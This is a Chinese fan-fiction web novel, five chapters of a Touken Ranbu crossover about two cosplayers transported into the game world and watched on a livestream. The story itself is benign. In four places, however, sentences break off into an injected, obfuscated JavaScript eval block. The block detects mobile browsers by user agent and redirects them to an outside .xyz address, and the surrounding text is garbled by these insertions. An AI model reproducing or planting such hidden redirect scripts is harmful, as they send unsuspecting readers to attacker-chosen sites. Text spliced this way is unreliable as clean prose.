《非常规源氏》 1. 第 1 章 薄荷绿色的发丝挡在眼睑上方,隐隐有呼吸的热气扑洒在皮肤上,刚清醒过来的少年一个激灵,竟然没能动弹得了。 胸口好沉,谁死我身上了? “呃,好疼。” 小乌coser伸手去扶被压迫到的肋骨,身上的人感受到触碰,慢慢地醒过来。 青年睁开眼,入目就是少年黑色的眼睛,离得太近,甚至能看清他浓密纤长的睫毛。 直到少年脸色憋得涨红,双手不住地拍打他的背时,膝丸coser才反应过来,快速将自己从小乌coser身上挪开。 差点被重压到窒息的小乌coser一边眼神死地大喘气,一边思考如今的处境。 “这里是哪里?” 膝丸coser扶起小乌coser,他好奇地观察周遭原始的森林,清新的空气自由地穿梭于肺部,不同于城市的钢筋水泥,天然的山野展现出来的是另一种未知的威严。 “不知道,我们好像刚走出门就到这里了。”小乌coser揉揉发痒的眼睛,揉到一半手却突然顿住,“等等,老师,我感觉不到隐形眼镜了。” 少年慌乱地揪住膝丸coser,又意识到不妥立马松手,刚才太激动拽得那下力气用得大了点,应该没扭到委托老师的肉吧? “我看看。”膝丸coser没察觉到异样,他双手握住小乌coser肩膀,低头凑近。少年稍稍后仰,同样盯住青年的眸子,那是很纯粹的金色。 “老师,哥,兄弟……你的美瞳还能摘下来吗?” 小乌coser意识到问题,膝丸coser试着取下美瞳,结果根本触碰不到。 由于官方没有小乌的立绘,coser只能自搭设定,便偷懒直接黑发黑眼不用额外掏美瞳和假发的钱,衣服随便套了件,妆造是按髭切脸画的,甚至连佩刀都是髭切削短换壳。 就这样省下来的钱用来请委托老师,也就是膝丸coser,陪他扮演非常规的源氏兄弟组合,可惜没能找到心仪的髭切coser人选。 但现在不好玩了,他们可能穿越了,穿到了刀剑乱舞成了真兄弟。 ——天塌了。 * 丛林中,几道小巧的身影穿梭其中,眨眼间便来到一处空旷地方。 此处的时间溯行军感受到灵力的波动,还未来得及侦查敌情,便被骤然的突袭打乱队形。 伴随着火铳的掩护,由药研带领的藤四郎们自四周包抄而来,将敌刀围剿。 “连刀柄都贯穿进去了!” 药研将最后一个敌太刀首落,顺利收刀,在查看完弟弟们刀装受损情况,上报给审神者后,才仰头对半空中漂浮的摄像球点头。 那是时政第三代升级版摄像机,全自动捕捉人像,太阳能动力板自动补充电量,还具备反侦查涂层,高清画质实时直播。简直是偷拍监察各本丸道德安全问题的一把好手。 今天随机到药研他们所在的本丸,结果就这么被带出阵了。 [不管看多少次,我都要说:短刀是唯一的爸爸!] [敌方高速枪:真的假的。] [没有丙子的婶在地下城被戳到崩溃了!] [呵,有丙子还是被戳的我是废物吧?] [诶,等等!那边好像有什么东西!] 乱藤四郎猛地扭头,按住刀柄缓步朝发出声响的草丛而去,其他短刀都感受到动静,纷纷戒备起来。 是敌袭吗? 忽然,后方树丛猛地晃动,似乎有什么将要从中冒出,乱藤四郎眸光一闪,脚步急转直冲过去,却扑了个空。 “那边!” 厚冲进树林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036084|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,反应过来的藤四郎们紧随其后,不过一会儿,六人停步。前方树木密集,视野遮挡严重,已经不适合继续追击了。 “到底是什么啊?” 被耍了一遭的乱藤四郎有些纳闷,“躲躲藏藏的。” “啊!摄像机追上去了。”五虎退注意到飞速远去的迷彩小球。 “这样的话,估计很快就能知道是什么了。”药研思索,现在执着也没有意义了,“走吧,我们先回去,大将该等急了。” 【b-13本丸,也就是直播中短刀部队所属的本丸审神者——秋瑾,她将今日的日课完成得七七八八,便在近侍不赞同的目光下打开了审神者娱乐网站。 “诶嘿嘿,劳逸结合才能更大地发挥效益嘛。” 秋瑾笑嘻嘻地点开直播,“更何况今天是我们本丸的直播啊,想看看同事们的评价呢。” “我可不会帮您批改文书哦。”近侍髭切笑眯眯回道。 “诶?!!” 秋瑾哀嚎着点开直播,想看看自己英勇可爱的小短刀回回血,结果入目是一片绿油油的树叶。 “这是什么啊?” 等到摄像机调整好角度,屏幕中画面清晰地显现出来。 两道人影颓废地站在树下,全身黑色的少年一手撑住树,一手扶着膝盖大喘气。 另一道薄绿色的人影伸手欲搀扶,结果被少年摆手婉拒。 秋瑾认出里面的刃,忙招呼着哥哥切过来看,“是野生膝丸诶!” “呀嘞,弟弟丸?” 髭切闻言凑近屏幕,目光却掠过上面的膝丸落到角落模糊的黑影身上。 乌黑的长发顺直地被一根金色流苏发带系在背后,少年侧头恰好躲过直播球的摄像范围,耳边宝石的火彩透过屏幕映射在髭切眸中。 那是,谁来着?】 2. 第 2 章 时间转回两个小时前。 已经接受穿越命运的两人决定在天黑前找一处落脚点,总不能直接以地为席以天为被吧。 “兄弟你侦查如何?”小乌coser询问。 膝丸coser看看自己脚下的长靴,想想角色初始数值,“大概23,你呢?” 小乌coser双指点点眼睛,“仅肉眼可见。” 那很糟糕了,两个一级刀。 膝丸coser定定神,他看了看天色,“看来要加快动作了,在夜晚到来前,不被其他出阵刀剑男士发现,并且成功找到安全的休憩地。” “还要避免作战,受伤会很麻烦。”小乌coser咬咬嘴唇,脑中考虑到诸多会发生的情况,突如其来的穿越令他有些不安。 这一系列的麻烦事本来都是不该发生的,少年抬眼瞅瞅在前方带路的青年,突然来到这种地方,coser老师大概也在强撑吧。 也许在强撑的膝丸coser带错了路。 小乌coser刚一抬头,发现远处模糊地移动着几道黑乎乎的影子,他急忙拉住继续往前走的膝丸coser。 “怎……”膝丸coser刚出声就被捂住嘴,他眼神暼向小乌coser示意的方向,察觉到异动的时间溯行军正在试探地接近过来。 两人轻手轻脚地就近躲入草丛。 小乌coser抬手向青年比划,‘等下我们先不要贸然杀他,虚晃一击,利用你我的超高机动甩开他。’ 不懂手语的膝丸coser只看出一个斩首的动作,他恍然大悟的同时握紧刀柄。 全都杀了吗?先不谈能不能做到,这样会不会不太好?但如果是单主的请求……他还是不行啊! 紧张到发抖的膝丸coser无比期望有谁能救他们于水火,他扭过头看向小乌coser,想要寻求安慰。结果发现少年聚精会神地盯住靠近的敌刀,丝毫没注意到他的目光。 看来单主是杀心已起,必要诛之了。 浑身紧绷做好逃跑准备的小乌coser思忖:一会儿先抬左脚还是右脚?好久没运动不会起跑就栽跤吧? 两人各有顾虑,一时间空气凝滞若沼泽。 就在膝丸coser准备暴起拔刀、小乌coser拔腿奔逃的上一秒,正移动的敌刀无声无息地倒地。 远处的时间溯行军被突然而至的短刀们尽数消灭,危机就这么轻而易举地解除了。 感谢藤四郎爸爸们,短门。 膝丸coser松口气,他刚移动了下酸麻的脚,余光就见小乌coser神情突然变得惊恐。 青年随之望去,六双颜色不同的眼睛锁定了他们所在的方位,远处的藤四郎发现了他们! 该怎么办?刀剑付丧神可不像时间溯行军那样好甩掉,更何况这可是整整一队的小短刀! 膝丸coser还能作为未被契约的刀剑而蒙混过去,可他呢?凭空出现的陌生的刀剑付丧神,他到时候要如何解释?又如何面对源氏和平氏的刀?他又不是小乌本人! 小乌coser咬破口腔内侧的软肉,淡淡的血腥味使他更加烦躁。大不了破罐子破摔,被发现了又能如何? 目光在四周莽撞地搜索可突破口,树木、草丛,怎么还是树木!难道他们就要像这些大树一样认栽了吗? 抬眼,小乌coser措不及防与一只黑漆嘛呼的乌鸦对视,那双红色的豆豆眼颇有灵性地眨了眨。 似乎是发现小乌coser在看它,乌鸦欢喜地张开翅膀,它体型较平常乌鸦更为小巧,大概是只未长大的幼崽,三条细腿牢牢抓住摇晃的树杈。 诶,三条腿? 小乌coser眨眨眼,幼鸦也眨眨眼,他歪头,小家伙也跟着歪头。在他们动作重合的某一瞬间,少年棕黑的虹膜转换为红色。 这边,膝丸coser做好了掩护少年突围的准备,绝对不能让他的单主被发现。 就在藤四郎们警惕着缓缓靠近时,对面的草丛猛地颤动,前方的乱藤四郎被动静吸引,小乌coser一把揪住膝丸coser领口,拽起人就飞速逃跑。 藤四郎们很快反应过来被耍,脚步急转,将短刀的优秀机动发挥到极致。 身后短刀穷追不舍,小乌coser专门往树多的方向跑,比起短刀们,小乌coser感觉自己的机动似乎更上一筹。 膝丸coser被少年背在身上,他合上眼抱紧小乌coser的脖子,努力压低重心,但还是抵挡不住那股来自胃部深处的恶心感。 不妙,他好像有点晕鸟,啊不,晕刀……不是,晕人了。 红眼睛的乌鸦振翅掠过长空,漆黑的羽翼在阳光的照射下投射出五彩光华,它在大树顶端的枝丫降落,歪头好奇地观察下方的一切。 终于摆脱短刀们的追逐,小乌coser止住脚步,腰一弯差点被后背重量压得趴到地上,膝丸coser连忙跳下来,免得真把单主给压成鸟饼。 小乌coser靠着树大喘气,他穿越前忘记吃饭,到现在更是滴水未进,在激烈的追逐后早已累得不行。 膝丸coser想要搀扶结果被婉拒,他看着小乌coser突然将外套脱掉,来不及制止,少年已经脱得只剩层薄薄的里衣。 “剧烈运动后不要立即减衣服,会着凉的。”膝丸coser捡起外套重新把人裹上,尽职尽责地扮演兄长的角色。 小乌coser安静地任由青年替他将衣服穿好,半眯着眼小憩。刚刚共感的乌鸦如今不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036085|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所踪,多亏它吸引注意,他们才能逃得如此顺畅。 “是我的错,因为我疏忽,险些让你我都陷入危险。” 嗯?谁在说话? 小乌coser睁开眼,就见膝丸coser向他九十度深鞠躬,态度之恳切,姿势之标准,一度让他幻视成上世纪的翻盖手机。 尽管还未搞清状况,小乌coser已经开始熟练地包揽责任,他一连换了好几个称呼,慌张地跟着鞠躬,“啊啊不不,老师,膝丸……你别这样,我也有错!” “主要责任在我,还连累了你。” 膝丸coser紧跟着往前,不料被石子绊了跤没站稳,噗通跪下。 小乌coser吓得原地跳开后又跳回来,活像只被炸了窝的鸟。 膝盖磨蹭粗糙的地面,实打实的撞击让膝丸coser痛得要命,他自己起不来,就想叫小乌coser拉一把。 结果少年嘟囔着,“我受不起,受不起。”也跟着噗通跪下,一个猛子就磕了下去。 膝丸coser满脑子都是回礼,也不说话了,只是一味地磕头。 [他们在干嘛,拜堂吗?] [哈哈哈哈两人竟如同做了夫妻一般。] [都好有礼貌啊,好孩子啊。] [不说话只是一味地夫妻对拜。] [可惜,已经被邪恶婶婶们围观了哦。] [话说,他们是流浪的刀剑付丧神吗?一个是源氏重宝的膝丸,另一个的话,恕我孤陋寡闻,好像没见过呢。] [全刀账婶到此,也没见过。可惜看不清脸,也许是小乌丸?不不不,绝对不可能是父上吧?] [会是审神者吗?] [不会吧,如果真的是,那时政不炸了吗?让审神者陷入危机,会被投诉死吧。] 两人就如此对拜了半晌,直到小乌coser一个头磕下去再起不能。膝丸coser瞳孔骤缩将人扶起来,发现少年脸色惨白,口齿不清地重复不明词汇。 “awa,awa,awa,awa……” “这是低血糖犯病了吗?” 也是,刚才他们凭借小乌coser敏捷的机动和隐蔽手段才逃出追击,并不是很强壮的少年甚至还背了个成年男刃。 膝丸coser摸遍两人全身没找到一点能补充能量的食物,他目光移到不远处树上的野果,“弟弟,坚持一下,不要死。” 【“诶,弟弟?!” 秋瑾听到屏幕中膝丸对少年的称呼,惊讶地看向身旁的太刀。 髭切眼底同样闪过一抹讶异,他长久而真切地注视少年的身影,仿佛借此追忆什么人,嘴里却满不在乎地敷衍着。 “不知道,谁知道弟弟丸在瞎叫什么呢。”】 3. 第 3 章 “呕……好恶心,你给我吃了什么?”少年攀着青年的小臂,满脸菜色地捂住翻涌的胃部。 “额,覆盆子?” 膝丸coser轻拍少年的背,瞥了眼被丢在地上的青色果子,他也是先尝过才放心给小乌coser吃的,虽然无毒,但味道嘛…… 膝丸coser心虚道,“这个季节附近没有成熟的野果。” 小乌coser努力适应口腔里的怪味,撑起笑,“我还好,谢谢你帮我。” “不客气。”膝丸coser拍拍后背,示意小乌coser上去,“接下来我背你吧,你负责警戒。” 小乌coser自知不能再拖延时间,利落地爬上去,规规矩矩地勾住青年脖子。 两人开始移动,直播球迅速调整机位,将摄像头对准两人的脸。 [哇哇哇!这张脸!] [哥哥切?!黑色限定版?] [@时之政府刀剑男士安全管理局,有渣婶,我们哥切不但暗堕还被削短了。] [但如果是髭切的话,为什么膝丸叫他“弟弟”?而且里面那振刀性格也与哥切天差地别,不像是暗堕会造成的。] [嘶,说起源氏,历史上有那么一把刀可以被膝丸称为弟弟,但怎么可能?] 【“为代替膝丸而被锻造,髭切的仿刀。” 秋瑾没有念出那个名字,但在场的刃都心照不宣。 “如果是真的,那本丸也许可以增添新成员了。”审神者陷入本丸多一大将的美好畅想。 闻讯赶来的小乌丸扫过霸占直播屏幕的髭切,又看向因幻想而乐呵呵的审神者,父上大人叹了口气。 “不论如何,得要那孩子自己乐意才好。” “哈哈哈,有时候也不能强求不是?”三日月宗近掀开幛子,话中意有所指。 “啊不不,时政再怎么缺德也不会强迫付丧神分灵的吧?”秋瑾求证地看向在场的政府刀。 山姥切长义接受到审神者信号,但心虚地移开目光。 秋瑾:“?” 她好像触碰到什么不得了的秘辛。】 两人徒步跋涉许久,终于误打误撞寻见一处可供休息的山洞。 “不行,我手都快磨脱皮了。”小乌coser搓搓被磨红的手心,无奈瞅着毫无动静的木桩,“也许我们可以尝试燧石生火。” “早知道就顺路捡一些了。”膝丸coser用灌木将洞口掩藏,减少野生猛兽寻至此处的几率。 咕噜噜…… 膝丸coser立即扭头,小乌coser若无其事地与他对视,“怎么了?” “饿了吗?你肚子在叫。” “还好,今天太晚了,明天我们再出去找食物吧。”小乌coser笑了笑,“都这样了,就算不吃饭也死不了。” 膝丸coser应下,没办法,太刀夜战不异于自寻死路。 夜静悄悄的,如烟似雾的乌云在月光下飞速消散,仿佛从未存在过。夜间温度骤降,风自灌木丛间隙溜进来,凉嗖嗖地裹挟住洞里的两人。 直播球因白天消耗电量过多,无法支撑夜间摄像,在婶婶们不舍的吐槽中暂停了直播。 膝丸coser被冻醒,他下意识寻找热源,手朝四周摸索无果,他缓缓睁开眼。 面前的少年整个陷入暗色里,肖像般静默着,连呼吸声都渐不可闻。 “小乌。” 膝丸coser本想喊少年的真名,却只能吐出如今的名字,这个认知使他呼吸都停滞片刻。 膝丸coser记起白日里跌宕起伏经历,曾经儿时无比期望的冒险如今成了他唯恐避之不及的噩梦。 他们实实在在地遭遇了一场噩耗。 “我在,睡不着吗?” 出乎意料的,少年回应了他的呼唤。 “我想要提升实力。”膝丸coser轻声道,他不想再躲躲藏藏,他们需要把握主动权,只有变强才能有说话的资格。 “可以。” 小乌coser声音细哑,皮肤被月光映出惨白的色泽,他仍旧勾起唇微笑,但似乎没什么精神,“你做了正确的决定,我支持你。” “我会保护好我们。”膝丸coser伸手坚定地握住小乌coser露出的手,结果被冰得一个激灵差点给人家甩回去。 他彻底清醒了,上前按住小乌coser双肩拼命摇晃,“醒醒啊,你还好吗?” 明明超级困却失眠的小乌coser头昏脑胀,感觉自己脑浆都要被摇匀了。 “停,停手吧,老师。” 小乌coser瘫软在地,他肉眼无法突破黑暗,那种似有似无被窥探的感觉使他心里发慌,直到深夜窥探感褪去,小乌coser仍旧不安。 委托老师似乎就没有这种感觉,难道是他最近神经衰弱,容易疑神疑鬼? 洞穴内coser们相互依偎着度过寒夜,被夜幕笼罩的野外偶尔响起乌鸦的鸣叫,混杂着翅膀拍打的扑簌声,浑身漆黑羽毛的生灵收敛起多出来的一条腿,鸟喙衔起条竹青色的小蛇,似乎没有进食的打算。 清晨,当第一束阳光透过叶缝筛进洞里,直播球又开始了它的工作,继续偷拍(划掉)监督大业。 [报告!捕捉到一只企图大鸟依人的弟弟丸。] [诶哆,是撒娇丸呢。] [可恶,要不是时政突然发公告,禁止审神者去搜寻,这只弟弟丸早就躺在我本丸的源氏部屋里了。] [啊啊啊弟弟丸撒娇现场!!同样没有膝丸的婶发出嫉妒的嘶吼。] [楼上,哥切的嫉妒恶鬼警告.ing] 小乌coser顶着硕大的黑眼圈,双手环抱住怀里青年的肩胛,膝丸coser被阳光刺到眼睛,他搂紧面前的抱枕,企图将自己塞进棉花里。 原本还在纵容,想着孩子都累成这样了,就让他多睡会儿的小乌coser抬手按住青年一个劲往他狩衣里拱的脑袋,拔萝卜似的将人揪出来。 膝丸coser不情愿地睁开眼,面对痛苦的一天。 早餐是用酸涩的野果勉强垫下肚子,小乌coser咽下发苦的唾液,忍不住吐槽。 “什么果子还这么难吃,我们要不在布置几个陷阱用来捕猎吧。” “可行,稍后我去洞穴周围挖几个土坑。”膝丸coser默默吐出嘴里的山楂,酸得他牙都要掉了。 说干就干,coser们分配好任务,小乌coser在附近捡了些树枝落叶用于陷阱伪装,膝丸coser则观察了下洞穴周遭的地面,在土质松软的地方停下,眼神坚定地拔出了腰间佩戴的太刀。 [报告!这里急需鹤姥爷的远程指导。] [用自己的本体刀刨坑吗?弟丸你很宠小乌了。] [也幸好哥切弟丸所属这一脉的源氏不排斥这类粗活。] 新鲜的草叶平铺在枝杈上方,小乌coser怀着渴望吃到肉的虔诚心愿伪装好土坑,心情不错地点缀了几多随手采摘的野花,陷阱制作完毕。 [嘶,我说这会不会太显眼了啊,平平无奇的地面突然出现一片花团锦簇、绿叶茂密的草坪?] [不愧是为父的孩子,在美的造诣上也很有天赋。] [现在是夸赞的时候吗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036086|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父上?] [没想到这位不曾谋面的殿下也深谙风雅之道。] [大概乌鸦就是无法舍弃美丽的东西吧,所以漂漂亮亮有什么不好。] 不是做陷阱吗,怎么开始插花了?膝丸coser大脑有些宕机,但面对单主期待的目光到底没能说出苛责的话。 “只是做成这样,恐怕很难有人忍心踩下去。”青年斟酌着道。 人踩下去?小乌coser闻言笑容微僵,难道委托老师以为的捕猎是,捕猎行人的意思吗?随便捕捉陌生人多少有些冒昧了。 “我觉得那样不好吧。”少年默默替陌生的行人发声。 两人关于陷阱的争议告一段落,在当前紧迫的情况下达成共识,抓紧白天的时间向外探索。 小乌coser沿路收集石头,他实在分不清燧石和其他石头的区别,就每样都捡了一块,晚上一块块试过去总能成功吧? 虽然夏天将至,但野外昼夜温差仍然需要保暖,昨晚毫无野外生存知识的两人险些被无情的大自然冻死。 直播球一路尾速coser们,将他们的举动全部录下来。 被窥伺的感觉如影随形,小乌coser快要麻木,最好别让他知道是谁,绝对要将其大卸八块! 膝丸coser正在观察腰间的佩刀,刀刃出鞘,锋锐的刃面即使被挖坑时的泥土粘附,仍闪烁着凛冽的寒光。 果然变成真的了,他能够感应到自己与刀的联系,本体覆盖着微弱的灵力,无法溯源但却持续地供给过来。 流浪的刀剑付丧神最终都会因灵力不足而退回本体,按理说膝丸coser作为无主的刀剑,早就该灵力消耗殆尽了。 所以这股陌生的灵力是从哪来的啊? 噗唆,眼前忽地窜出根圆柱形的长条,一条竹青色的小蛇对着青年吐出细长的芯子。 膝丸coser眼神发直地盯住树上倒吊的蛇,饿急了的青年嘴里分泌出口水,他也不怕了,甚至有些激动。 蛇,蛇是可以吃的吗? “走了,膝丸,你在看什么?”小乌coser走出老远,扭头一看青年愣愣地停留在原地。 膝丸coser应了声,转眼却发现青蛇不见了,他没有多想,跟上少年脚步。 * 独立于某一时空的本丸储刀室内。 鹤丸国永刚结束一场漫长的安睡,他重新显出人形。 落后的冷兵器时代如倒塌的樯橹般轰然远去,作为战斗利器的刀剑也沦为文化象征。 而今时出于保护历史的需要,刀剑与时政缔结契约,以分灵的形态,穿梭于各时空守护历史。 但对于本灵,他们好像再次被闲置了。 刀剑本灵所处的本丸不需要审神者管理,其自身所具备的灵力足以支撑起偌大的整个城池。 白色的身影从万叶樱下闪过,突然出现的鹤丸把玩耍的小老虎吓得炸毛,五虎退将其抱进怀里顺毛。 “鹤先生也醒了吗?” “也?最近不睡觉的刃很多吗?”鹤丸国永疑惑,他还以为只有自己闲的没事四处乱转呢。 “是的,大概是天气炎热,连小虎们也焦躁不安呢。” 话音刚落,五虎退里的小老虎挣扎着跳下来,与短刀脚下的四只嗷嗷叫的小老虎汇合,五只老虎凑成一团,白光闪过,原地出现一只成年白虎。 “吼——”白虎仰天长啸,直冲着鹤丸国永而去。 鹤丸国永转身就跑,白虎跟在太刀屁股后头追,“哈哈哈!真是吓到鹤了!” 五虎退紧随其后,急切地唤回白虎,“不可以咬鹤先生!” 4. 第 4 章 最近疑似小乌的陌生刀剑付丧神引起众多审神者讨论,但所有风波仍局限于直播的小范围内。 时政也有意将影响缩小,在未取得确凿证据前,过多的关注于两位刀剑付丧神而言并非好事。 如此一来,对于日常不关注娱乐直播,两耳不闻窗外事只一心扑在肝进度的这类审神者,只是疑惑时政突然颁发的公告。 ——由于不明因素影响,请大家避免出阵部队过多停留战场,且除战斗掉落刀剑外,禁止主动搜寻其他流浪付丧神。 莫名其妙的,而且这个“主动”就很灵性,严禁审神者搜集,却允许付丧神自己找上门吗? 真狩柊指尖微顿,拨通好友的实时通讯。面前的电子光幕闪烁几下,秋瑾的脸出现在上方。 “时政临时的会议邀请,不允许源氏和平氏派别的刀剑同往,这是什么意思?”真狩柊问到。 “Syuu,你不知道最近的直播吗?” 秋瑾不可思议地瞪大眼,“话说什么会议?我怎么没收到通知?难道时政也搞区别对待了?” “先等等。”真狩柊抬手制止秋瑾的话头,提取出关键字,“你说的直播是什么?” 他最近一直忙着肝活动,还想趁此机会再将本丸实力整体提升一波,确保能在演练场竞技中拔得头筹,哪里来得及看什么直播。 “娱乐首页的直播啊,你真的落伍了啊。” 秋瑾啧啧出声,“时政的会议大概也是与此事相关,只邀请S级别的吗?还是私下里通知。看来他们也没有十全把握呢。” 挂断通讯后,真狩柊生疏地点开娱乐界面,翻出直播。 画面里,一身漆黑狩衣,黑发黑眼的少年背对镜头,乌黑的长发侧扎成辫,束绳上的金色流苏不住摇曳,发辫随着动作垂落在胸前。 真狩柊托住下巴,从未见过的付丧神吗?他眸光落至正和少年熟稔攀谈的薄绿色太刀身上,似乎与源氏关系不错。 他思索着,目光仍停留在黑衣付丧神身上。 就在这时,少年却猛然扭头,真狩柊措不及防屏幕与那双眼睛对视,付丧神眼神快速扫过,不曾驻足片刻,似乎只是正常的侦查。 这家伙,恐怕已经判断出直播球的位置了吧,好可怕的第六感。 真狩柊咋舌,他突然对这位不明身份的刀剑付丧神产生强烈的兴趣,如此敏锐的直感,如果加以培养,假以时日…… 咳咳,跑题了。 当务之急,他要应邀时政的临时会议,也许就会知道这振刀的出处了。 至于同行刀剑?真狩柊翻开刀账,排除源氏和平氏的刀剑,就选择成熟稳重的一文字前家长——则宗吧。 * 与此同时,本灵本丸内。 大和守安定正在帮清光做手部护理。 “真是的,指甲油都涂出来了!” “将就一点嘛,我还不太熟练,反正也看不出区别。” 大和守安定嘴上说着,眼睛却认真地盯住毛刷,下手更稳了点。 “差别很明显。”加州清光无奈地瞧着色泽、厚度不一的指甲。 一套流程下来,大和守安定精疲力尽,不亚于在手合场切磋一下午。 他趴在矮桌上,掀起眼皮发现在窗外鬼鬼祟祟的白色身影。加州清光察觉到动静,快步上前拉开木窗。 “鹤丸殿?” 游荡的鹤丸国永惋惜地叹气,“还以为能制造出惊吓。” “啊,请务必不要。”加州清光双手比叉拒绝。 鹤丸国永眨眨眼,“说起来,本丸里人好少,都变得没意思了。”他挖的陷阱都没人踩。 “这个啊,我听说要有新成员加入本丸了。”加州清光记起最近的传闻。 大和守安定接过话头,“小乌丸殿和三日月殿正与时政人员在大广间洽谈此事,大家都过去凑热闹了。” “毕竟很久没有新面孔出现了,鹤丸殿不去看看吗?” 鹤丸国永摆摆手,婉拒道:“我还是更偏爱轻松一些的场合。” 话虽如此,与新选组告别后的鹤还是无所事事地闲逛到大广间,果然大多数付丧神都三三五五地聚在一起,鹤丸国永张望了下,果断爬到旁边的树上。 他调整位置,以便能观察到大广间内的景象。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036087|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室内,金碧辉煌的布设使屋内的气氛无端紧张,双方的谈话也渐进尾声。 “重逢固然美好,但子代的想法更为重要,为父不想让那孩子难办。” 身着暗红轻装的少年形态付丧神端坐于主位,小乌丸垂眸,回绝了时政人员的请求。 “但据我们观察,小乌大人的现状实在令人担忧。” 时政的特派员委婉地提出建议,“我们可以为他提供些许援助。” 新月眸微弯,坐在侧位的三日月宗近神情温和,独具特色的磁性声音吐出的话语却尽显残忍,“流落无归吗,就算曝尸荒野,也是实力不济,尚需历练呢。” “不!这么说也太可怜。”特派员下意识反驳,转而意识到不对劲。 “哈哈哈,开个玩笑,怎么说也曾经共事过,我还是很喜欢那个孩子的。”三日月慢悠悠地讲完,他也有意试探时政态度。 时政人员:完全被牵着鼻子走了啊。 “汝等心意,吾已心领神会。只是吾始终尊重他的选择,对后代加以信任和鼓励,是父辈分内之事。” 小乌丸最终落下判词,端茶送客,“今日就到此吧,各位请茶。” 那孩子? 鹤丸微微愣神,对于自诩日本刀之父的小乌丸而言,“子代”是个很常见的称呼,关照新到来的付丧神也是正常流程,可是不对劲。 鹤丸国永有些不安,仿佛某个特殊的事情在他未曾预料到的情况下发生了。 与本灵们的谈话完毕,时政派出的人员无功而返,他踏出大广间,环视围观的刀剑一圈们,突然产生疑问。 “对了,怎么不见髭切殿?” 时政人员和众刀剑本灵不约而同望向角落里落单的膝丸。 “兄长他尚在安睡,如有要事可先告知我,等兄长醒来我自会向他转述。”膝丸面色平静道。 藏在树上鹤丸国永挑眉,在这个关头还能嗜睡,真的假的? “没办法,毕竟是容易犯春困的时节呢。”三日月宗近轻笑。 夏天的巴掌都快呼到脸上了,还春困。不会是偷偷溜到什么地方不愿意回来吧。 5. 第 5 章 coser们守在这片战场很多天了,他们已经基本掌握此处的时间溯行军的刷新规律。 经过小乌coser这位线上资深老婶的观察,判定这里属于江户或织丰记忆的某一处战场。时溯普遍偏弱,有利于他们快速提升实力。 他们没穿越到鸟不拉屎的时代已经是幸运至极了。 突然,前方旷野出现了一队敌刀,浑身散发着黑色不祥气息的时间溯行军低吼着,被红光占据的双眼扫视周围。 两人藏匿在灌丛后,与之前不同,这一次他们不再奔逃,而是主动寻求变强的契机。 [哇哦哦,要来了!是激烈的战斗!] [婶婶支持你们!!!] [已经等不及观摩小乌的战斗身姿了。] [快趁现在变强,以后把邪恶哥切踩在脚下!] [支持小乌踩邪恶哥切!] 深呼吸,然后拔刀砍下去。 小乌coser兀自做着心理建设,前十几年人生里,他从未杀过人,谁料时过境迁,世道竟然逼迫他沾染杀戮…… 少年被自己的地狱笑话逗乐,他面上不显,手掌按上刀柄,欲拔刀出鞘时,一只手覆到他的手背上。 “膝丸?”小乌coser疑惑。 膝丸coser挡在少年身前,温和的金眸坚定地直视前方魑魅魍魉,他重重握了下少年的手,“这时候,要叫‘哥哥’啊,小乌。” 不顾愣神在原地的小乌coser,在单主面前耍了波帅的膝丸coser决然地冲进一众敌刀中央。 “诶!等等!” 小乌coser紧赶几步,又猛然停下,拳头气急败坏地捶向发抖的小腿。 【“哦呀,在害怕呢。” 邪恶哥切顺手将弹幕关闭,屏幕一下子清净了不少。 完全忍不了那些诋毁自己的言论呢,小气切,秋瑾暗暗腹诽。 膝丸有些担忧,小乌的状态明显不对,估计同振也是看出这点才选择保护弟弟。 作为刀剑却惧怕战斗,连最基本的本能都遗忘了,还有存在的价值吗?】 余光中,少年已经退到安全地带,既然暂时无法直面恐惧,那就好好的,躲在他身后。 不要再露出那种惊慌无助的眼神了,一点小事,就搞得天塌了似的。 膝丸coser彻底放下顾虑,前方敌刀的弱点清晰明了,他转手竖劈,将其一分为二。 